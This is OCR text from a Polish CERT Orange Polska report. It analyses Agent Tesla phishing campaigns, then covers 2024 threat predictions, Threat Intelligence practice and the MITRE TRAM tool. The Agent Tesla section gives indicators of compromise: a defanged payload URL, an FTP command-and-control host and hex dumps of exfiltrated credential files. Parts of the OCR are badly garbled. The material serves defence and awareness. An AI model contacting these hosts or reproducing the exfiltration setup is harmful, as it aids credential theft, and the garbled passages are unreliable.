73 65 72 6e 61 6d 65 3a 20 63 /<br>Use rname: ¢
61 69 6c 2e 63 6f 6d 3¢ 62 72 uck@gmai 1.com<br

Obecnie analizowana prébka wykrywana jest przez
46 na 68 silnikow antywirusowych na portalu VirusTotal:
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Druga z opisywanych kampanii dziata sie w maju 2023 roku.
Opierata sie na fatszywych wiadomosciach pod postacia
zapytania ofertowego. Nadawca podszywat sie pod firme
DEC Poland Tekpro sp. z 0.0.

tor < @orange.com>; Mon, 8 May 2023 12:15:36 +0200 (CEST)
Received: from plesk.saigo.com (plesk.saigo.com [
by smtpedf.telekomunikacja.pl (Postfix) with ESMTP 1d 4QFHHC21LYZ4F3jKS
or < I orange, com>; Mon, & May 2023 12:15:35 #0200 (CEST
Received: from plesk.saigo.com (localhost.localdomain [127.0.0.1])
by plesk.saigo.com (Postfix) with ESMTP id SADSF244BCA;
mon, & May 2023 12:15:32 +0200 (CEST)
Authentication-rResults: plesk.saigo. com;
spf=pass (sender IP is 127.0.0.1) smtp.rlai'lfrun-lncz#dec-—grou;ll.p'l srutp,he'io-plesk.saigo.cm
Received-spr: pass (plesk.saigo.com: localhost is always allowed.) client-ip=127.0.0.1; envelope-from=mcz@dec-group.pl; helo=plesk.saigo.com;

Wiadomos$¢ e-mail wygladata nastepujgco:

e - AgentTesla po raz
(pOki co) ostatni

DECPL-2023.0508 - PL23000000- Zaot

ri@i

27 listopada 2023 roku Agent Tesla ponownie pojawit sie

L na skrzynkach e-mailowych polskich uzytkownikéw. W tym

= ! przypadku, przygladajac sie doktadnie tresci e-maila, mozna
byto zauwazyé mate niedociagniecia stylistyczne. Np. zwrot
»oczekiwanie na twojg uprzejma odpowiedz”, dowodzacy tego,
iz wysytajacy maila, w ktérym znajduje sie Agent Tesla, nie jest

: osobg polskojezyczna.
W $rodku wiadomosci znajdowat sie zatgcznik w postaci : =
skompresowanego archiwum GNU ZIP. Po rozpakowaniu : |« B et e
okazywat sie on by¢ plikiem o rozszerzeniu .vbs e Stomiassts

c

EERRRR] = movats o 4 T T

- skryptem w Visual Basic. W kolejnym kroku uruchamiat

on Powershella, pobierajgc reszte payloadu z adresu gl :
hxxps://tajvand[.Jcom/rosinsfe.pcz.

Prosimy  padania najlepszyeh can ofertowych dla zalac=one) ity Zaméwien.

Oczekianie na twoja, uprzejma odpowieds.

Pozdrawiam
Jacek Saczuk

tel. kom. 500 418 343

Alfachem Sp. z 0. 0.
Oddzial Lublin<=strong>

UL, Cisowa 11

ey ). ReTiantTyo1) 20- 703 Lublin a

/B Windows Desktop Seach s not ssiable. e -

Co znajdowato sie w zatgczniku? Wiadomos$¢ e-mail zawierata
rozszerzenie *.img, a po jej rozpakowaniu otrzymywalismy

plik wykonywalny, udajgcy liste zamowien
~ZAMOWIENIE_N.2311780.exe”.

Analizowany plik ,,vbs” to wspomniany wczesniej
GuLoader - jeden z najpopularniejszych dropperdéw,
ktory ze wskazanego adresu pobierat docelowy plik
z Agentem Tesla.

Po szczegotowej analizie ztosliwego oprogramowania ) [+ wowene i ] SN N
WydObyllsmy z niego SeijQ konfiguracyjnq, leekl Organize v Includein library ~ Share with + New folder =~ 0 O
ktdérej mozna byto zablokowaé na CyberTarczy — Norme ’ Dtemodied  Type e
Orange serwer Command&Control. Przez adres L geskulwpd 7 ZAMOWIENIE_N.2311780.exe 11/16/20237:04 AM _ Application 695 KB
. . & Downloads
ftp.massagoeinc.com eksfiltrowane byty dane . RecentPlaces
w postaci haset dostgpowych z przeglagdarek g
zainfekowanych polskich uzytkownikdw. ;;f:wm
=/ Pictures
H videos
% Computer
€ Network
, 1 item
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W czasach ,internetu tupanego” uzytkownicy mieli Swiadomosé,
ze rozszerzenie .exe oznacza plik wykonywalny. Dzisiaj zas, pod
pozorem ,utatwienia zycia” bardzo czesto system operacyjny nie
pokazuje domyslinie rozszerzen plikow. W efekcie klikniecie w
»Zamowienie” powodowato zainstalowanie Agenta Tesla.
Szczegdtowa analiza pliku po raz kolejny doprowadzita nas

do sekcji konfiguracyjnej malware. Tym razem do eksfiltraciji
uzyto FTP (File Transfer Protocol) protokotu sieciowego,
stuzgcego do przesytania plikdw pomiedzy klientem a serwerem.
Agent Tesla przesytat wykradzione informacje z komputera

w postaci plikéw html, w tym przypadku analizujgc ruch sieciowy
z zainfekowanego komputera. W analizowanej prébce byt

to plik 0 nazwie

~PW_lwo_Graj-DESKTOP-46PEAL5_2024_01_25_15_10_49.html”

12 35 02 c de 98 00 45 00 ' E
4f 40 00 00 02 of 2d

ab 00 15 49 el 72 28 50 Ii r(P
c6 00 00 @ 50 57 5f 49 ST OR PW_Iw
72 61 6a 54 4f 50 2d o Graj-D ESKTOP-4
41 4c 35 2 3 5f 30 31 5f 6PEALS_2 ©24_01 2
35 5f 31 3 E 68 74 6d 6c od 5_15_1@_ 49.html

Doktadna analiza zawartosci pliku PW_lwo_Graj-DESKTOP-
46PEAL5_2024_01_25_15_10_49.html|” wskazuje obecnos¢
logindw i haset z urzgdzenia tgcznie z jego nazwa uzytkownika,
nazwa systemu operacyjnego, informacji o jego procesorze,
pamieci RAM.

dc d2 ac f5 a9 90 99 20 1d 08 ed Se 02
WL NS4 69 6d 65 3a 20 30 31
32 30 32 34 20 31 35 3a 31 30 3a 34
3e 55 73 65 65 3a 20
6a 6f 6d 7@

6d 53 4b 54

41 3e 4f 53

65 72 6f 73

64 3@ 20 5e

5a 74 68 20

hr>Host:
/poczta

WA NN WNH P

62 72 3e 58
62 72 3e 41 70
54 68 65 20 42
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Obecnie analizowana probka wykrywana jest przez 57
na 74 silniki antywirusowe na portalu VirusTotal:

Co mozna zrobi¢, aby nie pas¢ ofiara tego ®

typu ztosliwego oprogramowania?

Po pierwsze nie klika¢ w zataczniki, jesli nie mamy -
pewnosci co do nadawcy wiadomosci e-mail.

Po drugie nie zaszkodzi réwniez poswieci¢ chwili

na doktadne przeczytanie tresci ,Oczekiwanie na twoja
uprzejma odpowiedz...” to zwrot co najmniej podejrzany.

lwo Graj

Trendy, czyli
co przewidujemy
w roku 2024

Zanim przedstawimy nasze przewidywania
na 2024 r., odniesiemy sie do zatozen
sprzed roku.

Co sie potwierdzito
w 2023 roku?

1. Rozwadj nowych modeli jezykowych i sztucznej
inteligencji jako potencjatu dla dalszych oszustw.
Sztuczna inteligencja pomaga w tworzeniu
oprogramowania, a Chat GPT pozwala analizowaé
malware. Instancje ChatGPT sa profilowane
dla przestepcow. Obserwujemy tez rozwoj OpenAl.

2. Utrzymanie fraudow, ktore sa jeszcze prostsze
w realizacji.

3. Trend dalszej aktywno$¢ ransomware, za pomoca
ktérego dane sa niszczone

4. Trend kupowania ustug (narzedzi) zwigzanych
z atakowaniem infrastruktury w celu kradziezy
danych.

5. Aktywnos¢é malware ,,AgentTesla” sie utrzymata
i raczej bedzie kontynuowana w kampaniach
phishingowych.

6. Utrzymat sie trend zwiazany z zatruwaniem
repozytoriow plikdw czy kodu zrédtowego.
Pojawialy sie kampanie promocyjne.

7. Odejscie oszustow od nazw domen podobnych do
tych oryginalnych na rzecz maséwek generowanych
z uzyciem m.in. cyfr, czy w domenach - xyz.

Nasze przewidywania
na 2024 rok

1. Konflikty militarne beda sprzyjaty cyberatakom
organizowanym przez skonfliktowane strony.

2. Rozwiazania do pracy zdalnej wciaz beda celem
cyberprzestepcow. Beda oni poszukiwali podatnosci
umozliwiajacych omijanie systemow zabezpieczen.
Zapewnienie skutecznej ochrony infrastruktury
zdalnego dostepu stanowi powazne wyzwanie
dla bezpieczenstwa.

10.

11.

endy, czyli co przewidujemy w roku 2024 . ‘

Ataki z uzyciem ransomware beda wymagaty zmiany
strategii od twércéw malware. Wynika to

m. in. z faktu, Ze organizacje prowadza kampanie
uswiadamiajace swoich pracownikéw przed
phishingiem oraz innymi zagrozeniami w obszarze
socjotechniki.

Spodziewamy sie wzrostu atakow z wykorzystaniem
pozyskanych (kupionych lub wykradzionych) danych
dostepowych do infrastruktury technicznej korporaciji.

Spodziewamy sie prob oddziatywania na wyniki
wyborow w USA i Europie oraz wysokiego poziomu
dezinformaciji. Przewidujemy, ze grupy ze wschodniej
Europy beda bardziej zainteresowane dezinformacja
i destabilizacja w tym czasie niz bezposrednimi
atakami.

Przewidujemy wysoka aktywnos$¢ malware z rodziny
infostealer (wykradajacych dane). Ataki te mimo,

ze nie sa zbyt wyrafinowane i opieraja sie na kilku
grupach ztosliwego oprogramowania, to bardzo
zwiekszyly swoja intensywnos¢ i stale sie zmieniaja
starajac sie unika¢ wykrycia.

Beda sie utrzymywaé ataki na urzadzenia loT
i wykorzystywanie ich do eksfiltracji danych
lub przeprowadzania atakéw typu ,Lateral
Movement”.

Sztuczna inteligencja bedzie bardziej wykorzystywana
do typowania potencjalnych ofiar atakow. Dodatkowo
myslimy, ze mechanizmy oparte na Al beda tworzy¢
skuteczne kampanie dezinformacyjne.

Przewidujemy dalsze doskonalenie sztucznej
inteligenciji do tworzenia deepfake’6w (wideo i audio)
oraz wykorzystywanie jej do atakow
socjotechnicznych.

Wspotdzielenie kodu zrodtowego oraz bibliotek
oprogramowania bedzie skutkowaé tymi samymi
podatnosciami w réznych aplikacjach. Skala
zjawiska moze sie zwiekszy¢, gdy do tworzenia
kodu zostanie zaangazowana sztuczna inteligencja.

Zespot CERT Orange Polska
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Warto wiedzie¢
kto i jak atakuje
w cyberprzestrzeni

Co dla cyberbezpieczenstwa
daje Cyber Threat Intelligence

Ze wzgledu na ciggte zmiany w Swiecie zagrozen,
analiza sytuacji w cyberprzestrzeni i podejmowanie
decyzji dostosowanych do rzeczywistych wydarzen staty
sie niezbednym zadaniem. Ostatnio, obowiagzek ten
wynikat gtéwnie z dojrzatosci proceséw zwigzanych

z bezpieczenstwem cybernetycznym w organizacji oraz
zrozumienia metodyki priorytetyzacji zagrozen. Jednak
w miare uptywu czasu normy, standardy bezpieczenstwa
oraz przepisy prawne (np. NIST, ISO, ENISA, regulacje
europejskie i krajowe) wprowadzity Threat Intelligence
jako obowiazkowy element, ktéry nalezy uwzgledniaé

w ramach uregulowanego cyberbezpieczenstwa.

Czym jest Threat Intelligence

Analiza zagrozen zapewnia kontekst niezbedny

do podejmowania $wiadomych decyzji dotyczacych
cyberbezpieczenstwa. Threat Intelligence (TI) to ocena
zdolnosci, celdw i sposobdw dziatania grup adwersarzy
opracowana na podstawie analiz narzedzi, infrastruktury
oraz danych z incydentéw. Zadaniem Tl jest wsparcie
decyzyjne w procesie aktywnego wzmacniania zdolnosci
defensywnych.

Definicje te mozna sprowadzi¢ do tego, iz Threat Intelligence
to poznawanie zagrozen na réznych poziomach (od operacyjnego
do strategicznego) tak, by przewidywa¢ mozliwe ataki lub
naruszenia bezpieczenstwa we wtasnej organizacji.

Kazda organizacja musi znalezé wtasny sposéb na implemen-
tacje procesu oraz stawianych wymagan. Analize zagrozen
nalezy dopasowac do potrzeb firmy i rozwija¢ wraz ze zwieksze-
niem zapotrzebowania na informacje, rozwojem firmy i osi-
agnieciem odpowiedniego poziomu $wiadomosci sytuacyjnej.
Zawsze jednak nalezy uwzgledni¢ elementy takie jak:

informacija,

analiza, ocena i szacowanie powierzchni zagrozenia,
odbiorcy i produkt dopasowany do nich,

narzedzia analityczne oraz wspomagajace

oraz automatyzujgce.

Analiza zagrozen to informacje o zagrozeniach, ktore
zostaty zagregowane, przeksztatcone, przeanalizowane,
zinterpretowane oraz wzbogacone w celu zapewnienia
niezbednych danych dla proceséw decyzyjnych.

Zadania opisane wprost jako Threat Intelligence juz w 2018
roku znalazty swoje miejsce w Ustawie o Krajowym Systemie
Cyberbezpieczenstwa, a w roku 2022 w sposdb komplek-
sowy zostaty wpisane do normy ISO 27001.

CERT Orange Polska

ISO 27000:2022

Analiza zagrozen (definiowana jako Threat Intelligence)
zostata uwzgledniona w najnowszym wydaniu
standardow ISO 27001 oraz ISO 27002 w edycji z 2022
roku. Standard przeorganizowuje dotychczasowe
kontrole. Zamiast dotychczasowych 114 mamy 93 kon-
trole, z czego dodano 11 nowych zabezpieczen. Sa to:

analiza zagrozen,
bezpieczenstwo informacji przy korzystaniu
z ustug w chmurze,
= gotowos¢ teleinformatyczna do zapewnienia
ciagtosci dziatania,
monitorowanie bezpieczenstwa fizycznego,
zarzadzanie konfiguracja,
usuwanie informaciji,
maskowanie danych,
zapobieganie wyciekom danych,
dziatania monitorujace,
filtrowanie sieci,
bezpieczne kodowanie.

Mozemy zauwazy¢, ze norma ISO 27002:2022
dostosowuje sie do aktualnych zagrozen, ale co wazniejsze,
jednoznacznie podkresla, ze analiza zagrozen jest
kluczowym elementem, majacym wplyw na inne dziatania.

Zgodnie z ISO 27002:2022, analiza zagrozen to ,informacje
o istniejacych lub potencjalnych zagrozeniach, zbierane

i analizowane w celu podejmowania swiadomych dziatan,
aby zapobiec szkodom dla organizacji i ograniczenie
wplywu tych zagrozen”. Definicja ta okresla ogélne
zadania, ktére organizacja powinna podja¢. Analiza
zagrozen powinna by¢ ,,odpowiednia, doktadna,
kontekstowa i mozliwa do zastosowania”. Zbieranie
informaciji o zagrozeniach, ktore spetniaja te kryteria,
jest bez watpienia uzyteczne w wielu aspektach
zwigzanych z cyberbezpieczenstwem.

W tym kontekscie Threat Intelligence mozna rozumiec¢
jako system wczesnego ostrzegania, ktory informuje,

Zze nowe zagrozenie lub sposob ataku moze by¢ istotny
dla organizacji. Dlatego kluczowe jest posiadanie procesu
identyfikacji i gromadzenia informacji o zagrozeniach,

a takze petne zrozumienie, co zrobi¢ z tymi informacjami,
gdy juz je mamy.

Rodzaje Threat Intelligence

Threat Intelligence, ze wzgledu na cele jakie ma realizowac,
podzielono na cztery gtéwne rodzaje (rys. obok):

Tl Strategiczny to informacje o zagrozeniach cybernetycznych,
zazwyczaj dostosowane do odbiorcéw bez kompetenciji
technicznych. Wykorzystuje szczegdtowe analizy trendéw

i nowo pojawiajgcych sie zagrozen, aby stworzy¢ ogdiny

obraz potencjalnego cyberataku, ze szczegdlinym uwzglednieniem
jego skutkdéw. Na tym poziomie poszukuje sie odpowiedzi na
ogdlne pytanie: ,W kontekscie naszego obecnego krajobrazu
zagrozen, co moze sie najgorszego wydarzy¢?”. Te informacje
sg prezentowane decydentom na wysokim szczeblu organizaciji,
takim jak cztonkowie zarzadu, dlatego skupiaja sie na szerokim
wplywie na firme.

Tl Taktyczny to bardziej szczegdtowe informacje dotyczace
taktyk, technik i procedur (znanych jako TTP) stosowanych
przez cyberprzestepcow. Przeznaczone sg gtoéwnie

dla odbiorcéw o umiejetnosciach technicznych. Pomagajg

im zrozumie¢, w jaki sposob ich infrastruktura moze by¢
zaatakowana przy uzyciu najnowszych metod, jakie atakujgcy
stosuja w celu osiagniecia swoich celéw. Analitycy pozyskuja
artefakty techniczne oraz informacje o narzedziach i metodach
atakéw. Na poziomie taktycznym analizujg mozliwosci
przeprowadzenia ataku i wspierajg w ograniczaniu przysztych
prob naruszenia bezpieczenstwa danych. Informacje taktyczne
na temat zagrozen zwykle sg dostepne tylko dla zespotéw
technicznych odpowiedzialnych za ochrong infrastruktury.

Strategic Tactical

High-level Attacker
information on methodologies
changing risk tools and tacticks

High-level Attacker

information on
changing risk

methodologies
tools and tacticks

Operational Technical

&= )

Podziat na rodzaje Threat Intelligence

Tl Techniczny koncentruje sie na wskazdwkach technicznych
dotyczacych zagrozenia, takich jak wiadomosci phishingowe,
wiadomosci lub fatszywe adresy URL. Ten rodzaj analizy
zagrozen jest wazny, poniewaz daje ludziom wyobrazenie o tym,
czego szukac, dzieki czemu jest przydatny do analizowania
atakéw socjotechnicznych. Poniewaz jednak hakerzy

czesto zmieniajg swoje taktyki, techniki i procedury, techniczne
informacje o zagrozeniach maja krétki okres przydatnosci.

Tl Operacyjny pomaga zespotom cyberbezpieczenstwa

w organizacji zrozumie¢ nature okreslonych cyberatakow,
wyszczegolniajgc istotne czynniki, takie jak charakter, intencje,
czas, czy zaawansowanie technologiczne atakujgcych.
Analiza zagrozen na poziomie operacyjnym to czesto
dziatania polegajace na infiltracji grup cyberprzestepczych,
pozyskiwanie informacji z Darknetu, czy kanatow komunikaciji
grup hakerskich. Sa to czesto dziatania trudne do prowadzenia,
mozliwe do realizacji przez wyspecjalizowanych analitykdéw
(lub firm). Jednak dostarczajg one bezcenng informacije,

ktéra w potaczeniu z innymi zrédtami prowadzi

do kompleksowej oceny zagrozen.

Cykl zycia analiz zagrozen

Analiza zagrozen nie jest jednorazowym dziataniem,
wywotanym okreslonym zdarzeniem. To proces ciagty.

Na wyzszym poziomie dziatarn bardzo dobrze opisuje

cykl zycia analizy zagrozen, znany jako Threat Intelligence
Lifecycle. Sktada sie on z szesciu faz (rys. ponizej):

Warto wiedzie¢ kto i jak atakuje w cyberprzestrzeni
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Cykl analizy zagrozen (Threat Intelligence Lifecycle)

Faza 1: Planowanie/ukierunkowywanie

W pierwszym etapie okresla sie cele analizy zagrozen. Analityk
musi zatem zrozumiec i zidentyfikowac aktywa oraz procesy
biznesowe, ktére wymagajg ochrony. Konieczne jest takze
zbadanie potencjalnego wptywu utraty zasobow lub przerwania
procesoéw, aby okresli¢, jakie informacje dotyczace zagrozen
sg potrzebne organizacji. Ta faza ma na celu odpowiedz

na pytania takie jak: ktére systemy, procesy czy personel sg
narazeni na cyberatak? W jaki sposo6b analiza zagrozen moze
zwiekszy¢ efektywnos$¢ operacyjng procesow czy zespotow?

Faza 2: Gromadzenie

W tej fazie nastepuje zbieranie informacji zgodnie z przyjetymi
wczesniej kierunkami analiz oraz wymaganiami. Gromadzenie
danych odbywa sie poprzez subskrybowanie wielu Zrodet
danych o zagrozeniach, wymiane informacji w zaufanych
grupach analitycznych i organizaciji jak ISAC czy CERT.

Faza 3: Przetwarzanie

Ten etap umozliwia analitykowi przeksztatcenie zebranych
informacji w format, z ktérego moze korzysta¢ kazdy uzytkownik
w organizacji. Celem jest znormalizowanie informacji, tak

by zaréwno systemy komputerowe, jak i inni analitycy mogli
pracowac na danych. Jest to konieczne, gdyz z réznych

zrodet pozyskuje sie informacje w réznym formacie logicznym,
czy nawet formacie plikdw, a czesto w innym jezyku.

Faza 4: Analiza
Na tym etapie przetwarzane dane sg przeksztatcane w informacije,
ktére stuzg do podejmowania decyzji w procesach. Tutaj
nastepuje korelowanie informacji z réznych zrédet, wzbogacanie
ich danymi z dostepnych baz wiedzy i finalnie przygotowywanie
rekomendacji. Analiza ma wykorzystywac dotychczasowg
baze zagrozen i rozbudowywac jg o nowe zagrozenie lub nowe
informacje do istniejgcego zagrozenia. Przygotowane informac-
je muszg jednak by¢ prezentowane i dostarczane w formacie
zrozumiatym dla odbiorcéw. W tej fazie muszg powstac
jednoznaczne wnioski z analizy, jasne i konkretne zalecenia oraz
kolejne kroki do podijecia, a dodatkowo nalezy ocenic trafnos¢
(w pewnym sensie wiarygodnos¢) analizy.

Faza 5: Rozpowszechnianie/dystrybucja

Na tym etapie informacje, ktore zostaty zebrane, przetworzone
i przeanalizowane, sg dystrybuowane do réznych zespotéw.
Odbiorcami produktéw procesu Tl sa wszyscy, ktérym wiedza
pomoze w efektywnym podnoszeniu cyberbezpieczenstwa
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organizacji oraz mitygowaniu zagrozen. W zaleznosci
od odbiorcow dobiera sie rowniez forme i czestotliwos$é
dostarczania informaciji.

Faza 6: Informacja zwrotna

W organizacji kazdy zespot, ktory jest odbiorcg informacii

Threat Intelligence, petni rozne funkcje i wykorzystuje pozyskane
analizy w inny sposéb. Aby zagwarantowac skutecznos¢ analiz
oraz efektywnos¢ platform je wspierajgcych, analityk Threat
Intelligence potrzebuije regularnej informacji zwrotnej od
uzytkownikéw tych danych. State uzyskiwanie opinii pomaga
zapewnic jak najbardziej precyzyjne analizy zagrozen.

Kazda organizacja musi znalezé wtasny sposob na
implementacje procesu oraz stawianych wymagan. Analize
zagrozen nalezy dopasowac do potrzeb firmy i rozwija¢ wraz
ze zwiekszeniem zapotrzebowania na informacje, rozwojem
firmy i osiggnieciem odpowiedniego poziomu $wiadomosci
sytuacyjnej. Zawsze jednak wystepujg nastepujace elementy:

informacja,

analiza, ocena i szacowanie powierzchni zagrozenia,
odbiorcy i produkt dopasowany do nich,

narzedzia analityczne wspomagajace oraz
automatyzujace.

Analiza zagrozen to informacje o zagrozeniach, ktore zostaty
zagregowane, przeksztatcone, przeanalizowane,
zinterpretowane oraz wzbogacone w celu zapewnienia
niezbednych informacji dla proceséw decyzyjnych.

Aby przeprowadza¢ skuteczng analize zagrozen, niezbedna

jest zdolno$¢ do pozyskiwania informacji dotyczacych zagrozen.
Ten element stanowi kluczowy punkt w catym procesie.
Skuteczno$é procesu zalezy od jakosci i adekwatnosci
pozyskanych informaciji. Zrédta informacji mozna podzielié

na ogolnodostepne, informacije dystrybuowane w zaufanych
grupach oraz informacje komercyjne dostarczane przez
profesjonalne firmy zajmujace sie pozyskiwaniem i wstepna
analiza danych wywiadowczych.

Korzystajac z wielu zrédet danych, istnieje ryzyko przekroczenia
poziomu przyttoczenia informacjami. Kluczowe jest rozwiniecie
umiejetnosci selekgiji i filtrowania informacii, aby pozyskiwaé
tylko te, ktére sg istotne dla danej organizacji. Warto zwrécié
uwage na informacje sektorowe dotyczgce zagrozen wystepuija-
cych w firmach o podobnym profilu dziatalnosci. Dlatego centra
wymiany informaciji (ISAC) odgrywaja obecnie istotng role.
Ponadto, warto ograniczy¢ geograficznie zakres informaciji, kon-
centrujac sie na danych z kraju lub danego regionu. Istotnym el-
ementem jest takze uwzglednienie stosu technologicznego firmy
i skupienie sie na informacjach dotyczacych wykorzystywane;j
technologii, takich jak podatnosci, stabosci czy znane ataki.

Pozyskiwanie i analiza informacji powinny odbywac sie

w sposob ciggty, a sam proces musi uwzgledniac potrzebe
analizy i przygotowania rekomendacji w trybie natychmiasto-
wym, niezaleznie od modelu pracy firmy. W procesie Cyber
Threat Intelligence, podobnie jak w zarzadzaniu incydentami
(Incident Response), w poczatkowej fazie powinna nastepowac
ocena zdarzenia, jego kategoryzacja oraz szacowanie priorytetu
(tzw. triage). Na podstawie tej wstepnej, ale kluczowej z punktu
widzenia istotnosci operacji, mozna zdefiniowac tryb i czas, jaki
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moze potrwac doktadna analiza i wypracowanie rekomendacii
lub innych produktow.

Proces Threat Intelligence nie jest prowadzony dla samej analizy
i podnoszenia Swiadomosci zespotu bezpieczenstwa. Pozyskane
informacje zawsze powinny by¢ zwigzane z zagrozeniem, ktére
moze wystgpi¢ w organizacji. Ale co wazniejsze, powinny one
by¢ tak przygotowane i dostarczone do odpowiednich
adresatow, by pomoc firmie w ochronie przed zagrozeniem lub
wykry¢ dziatania adwersarza. Odbiorcami analiz o zagrozeniach
w cyberprzestrzeni sg nastepujgce zespoty w organizaciji:

zespo6t monitoringu bezpieczenstwa (ang. Security
Operations Center),

zespot bezpieczenstwa sieciowego (ang. Network Security),
zespdt architektéw IT (ang. Security Architecture)

zespot analiz powtamaniowych i reagowania na incydenty
komputerowe (ang. DFIR: Digital Forensics and Incident
Response),

zespot zarzadzajacy ryzykiem (ang. GRC: Governance,
Risk, Compliance),

zespot zarzadzania podatnosciami (ang. Vulnerability
Management),

zespdt inzynierii detekcji (ang. Detection Engineering),
zespot proaktywnie identyfikujgcy zagrozenia (ang. Threat
Hunting),

zespot wykrywania oszustw i naduzyé (ang. Fraud Security),
zespot ochrony klienta/marki (ang. Client Brand Protection),
zesp6t budujacy $wiadomos¢ zagrozen (ang. Security
Awareness),

zespo6t komunikacji zewnetrznej (ang. public relations),
dziaty biznesowe,

zarzad (ang. Board, C-level).

Dla réznych zespotéw, wymienionych powyzej, przygotowuje
sie rozne rodzaje informaciji, dostosowane do odbiorcow

i przedstawiane w odpowiedniej formie. Na przyktad, dla kadry
zarzadzajgcej bezpieczenstwem organizaciji, architektéw,
dziatéw biznesowych i threat hunteréw, odpowiednie bedg
produkty w postaci raportow. Dlazespotdéw monitorujgcych stan
bezpieczenstwa, natomiast, wtasciwe bedg produkty
techniczne, takie jak strumien danych o zagrozeniach, wskazniki
kompromitaciji (I0C, loA) oraz reguty detekcji typu YARA czy
Sigma. Niezmiernie istotne jest, aby produkty Threat Intelligence
byty przygotowywane na odpowiednim poziomie jakosciowym.
Na przykfad, raporty muszg byc¢ jednolicie ustrukturyzowane

i dostosowane w swoich tresciach oraz rekomendacjach

do odbiorcow. Produkty techniczne z kolei powinny by¢
odpowiednio znormalizowane, zwalidowane i opisane zgodnie

z przyjetg w organizacji taksonomig zagrozen.

Analiza zagrozen dostarcza niezbednego kontekstu

do podejmowania Swiadomych decyzji w dziedzinie
cyberbezpieczenstwa, zwtaszcza w przypadku wystgpienia
cyberataku. Pomaga odpowiedzie¢ na pytania:

Kto cie atakuje i dlaczego? lle potencjalnych szkéd moga
wyrzadzi¢ w twoim systemie? Gdzie znajdujg sie potencjalne
luki w systemie? Odpowiedzi na nie sg zasadniczymi
sktadnikami planu gotowosci na wypadek cyberataku,

a dojrzata Threat Intelligence dostarcza wtasnie

te informacje.

Ireneusz Tarnowski

Z tematem sztucznej inteligencji w mediach oswajamy sie
powoli, pozwalajac jej na obecnos¢ w réznych sferach naszego
wirtualnego zycia. Po tym okresie nadchodzi jednak czas na
weryfikacje rozwigzan opartych na niej pod wzgledem ich
przydatnosci. W tym artykule poruszymy jedng sfere zycia analityka
CTI (Cyber Threat Intelligence) i mozliwosci jej automatyzacii

z uzyciem sztucznej inteligencji. Proces CTl polega na
pozyskiwaniu danych, odpowiedniej ich filtracji, deduplikacii,
strukturyzacji i przetworzeniu, tak powstaje informacja, ktéra
bedzie mogta by¢ zoperacjonalizowana. Obecnie dynamika
zdarzen w cyberprzestrzeni jest tak duza, ze analitycy CTI
otrzymuja bardzo duzo raportéw oraz surowych danych
dotyczacych réznych zagrozen. Przetadowanie danymi stato sie
powaznym problemem i obcigzeniem catego procesu. W tym
miejscu, wydawato sie, ze metody zwigzane z réznie postrzega-
nymi rozwigzaniami opartymi na sztucznej inteligencji znajda
swoje zastosowanie. Cel jest taki, by analityk otrzymat dobrze
przetworzone dane, odpowiednio oznakowane i sklasyfikowane,
tak by mégt sie skupi¢ na wtasciwej analizie i rozwigzywaniu
konkretnych zagrozen.

Architektura TRAM

Przetwarzanie raportow, ekstrakcja elementéw charaktery-
stycznych dla cyberatakéw, w szczegoélnosci TTPs (Tactics,
Techniques, Procedures) i mapowanie na matryce MITRE
ATT&CK = moze okaza¢ sie wyzwaniem w przypadku duzych
wolumendw danych i nieustrukturyzowanych raportéw CTI.

Z takimi problemami borykaja sie twoércy ATT&CK, MITRE
Corporation przedstawiajgc jednoczesnie rozwigzanie tych
problemoéw, narzedzie TRAM (Threat Report ATT&CK Mapper)S.

TRAM zostat po raz pierwszy zaprezentowany w 2019 4 jako
narzedzie wykorzystujace techniki uczenia maszynowego

i przetwarzania jezyka naturalnego do automatycznego
mapowania technik uzytych przez adwersarzy, na matryce
ATT&CK. Narzedzie TRAM miato poméc analitykom MITRE
w przetwarzaniu raportéw i ekstrakcji z nich TTP do zasilania
matrycy ATT&CK.

Pierwotne rozwigzanie sktadato sie z modeli regresji logistycznej,
do ktérych cechy z danych tekstowych reprezentowano

za pomoca znanego w rozwigzaniach NLP (ang. Natural
Language Processing) algorytmu TF-IDF. Same modele

byly stosunkowo proste - kazda technika identyfikowana

w matrycy ATT&CK musiata mie¢ swoéj oddzielny model.

Trening polegat na utworzeniu zbioru danych, w ktérym klasa

pozytywng oznaczano dane tekstowe majgce zwigzek
z dana rozpoznawana technikg, zas negatywna,
te niezwigzane z klasyfikowang technika.

Rozwigzanie TRAM wykorzystywato tez sprzezenie zwrotne
- zwroty z raportu zmapowane na TTP z matrycy ATT&CK
mogty by¢ oznaczane jako:

- True Positive, w przypadku akceptacji danego zwrotu jako
poprawne mapowanie;

- False Positive, w przypadku odrzucenia danego zwrotu jako
niepoprawne mapowanie;

- False Negative, w przypadku pominiecia zwrotu
wskazujgcego na TTP;

- True Negative, w przypadku pozostatej reszty;

a nastepnie z uzyciem bazy danych, zastosowane jako nowe
zestawy treningowe do modeli.

Jednym z wyzwan stawianych rozwigzaniu, jak w wiekszosci
modeli uczenia maszynowego (ang. machine learning, ML)
stato sie utworzenie zbalansowanego zbioru danych. Nowe
techniki pojawiajgce sie w raportach zwykle majg mato
przyktadéw, na ktérych mozna nauczy¢ model. Odpowied-
nie przetwarzanie danych tekstowych to rowniez kluczowy
element catego rozwigzania.

Od czasu wydania narzedzia TRAM doczekaliSmy sie jego
wersji 2.0. Architektura rozwigzania zostata zmieniona i tym
zmianom oraz mozliwos$ciom rozwigzania TRAM przyjrzymy
sie w dalszej czesci artykutu.

Wprowadzenie do duzych modeli
jezykowych (LLM)

Uczenie maszyn rozumienia jezyka podobnie jak rozumie
go cztowiek jest wyzwaniem nalezacym do dziedziny nauki
zwanej Natural Language Processing (NLP). To wiasnie
techniki przetwarzania tekstu NLP stoja u podstaw
systemow zwigzanych z rozpoznawaniem gtosu,
tltumaczeniem, chatbotami.

W przypadku rozwigzania TRAM korzystano z technik NLP

do ekstrakcji cech z danych tekstowych, ktére przy odpowiednim
uczeniu sg rozumiane przez tworzony model. Dobér cech i ich
reprezentacja pozwalajg modelom czerpac wiedze na temat
zadanego tekstu, odkrywaé wzorce wystepujace w tekscie.
Pierwotna technika ekstrakcji cech, w narzedziu TRAM,
opierata sie na algorytmie TF-IDF:

TF (Term Frequency) — miara okreslajgca jak czesto
dane stowo/zwrot wystepuje w danym dokumencie

TF = (liczba wystapier danego stowa/zwrotu w dokumencie)/
(catkowita liczba stow/zwrotow w dokumencie)

IDF (Inverse Document Frequency) — miara okresla-
jaca jak istotne jest stowo/zwrot wystepujace w catym zbiorze
dokumentéw

IDF = log(liczba dokumentdw w zbiorze)
(liczba dokumentdw w zbiorze zawierajgcych dane stowo/zwrot)

w
